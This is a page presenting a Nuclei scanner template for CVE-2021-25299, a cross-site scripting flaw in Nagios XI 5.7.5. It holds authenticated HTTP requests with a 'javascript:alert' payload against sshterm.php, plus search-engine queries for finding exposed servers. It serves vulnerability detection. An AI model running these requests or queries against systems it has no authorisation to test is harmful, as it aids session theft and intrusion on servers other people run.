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Nagios XI 5.7.5 - Cross-Site Scripting

ID: CVE-2021-25299

Severity: medium

Author: ritikchaddha

Tags: cve2021,cve,nagios,nagiosxi,xss,authenticated

Description

Section titled “Description”

Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.

YAML Source

Section titled “YAML Source”
id: CVE-2021-25299


info:
  name: Nagios XI 5.7.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
  remediation: |
    Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
    - http://nagios.com
    - https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25299
    - https://assets.nagios.com/downloads/nagiosxi/versions.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25299
    cwe-id: CWE-79
    epss-score: 0.9644
    epss-percentile: 0.99577
    cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query:
      - title:"Nagios XI"
      - http.title:"nagios xi"
    fofa-query:
      - title="nagios xi"
      - app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2021,cve,nagios,nagiosxi,xss,authenticated


http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
      - |
        GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - "contains(header_3, 'text/html')"
          - "status_code_3 == 200"
          - 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
        condition: and


    extractors:
      - type: regex
        name: nsp
        group: 1
        regex:
          - 'name="nsp" value="(.*)">'
        internal: true
        part: body
# digest: 4b0a00483046022100b6e32fdf023690379740be63f1b5f5926f9c63aab61a7ae3028a025b332572ca022100f666de0ee90d18447c1cc410a3798f819f5bc12627fa2fe3e5cfdd534b919458:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25299.yaml"

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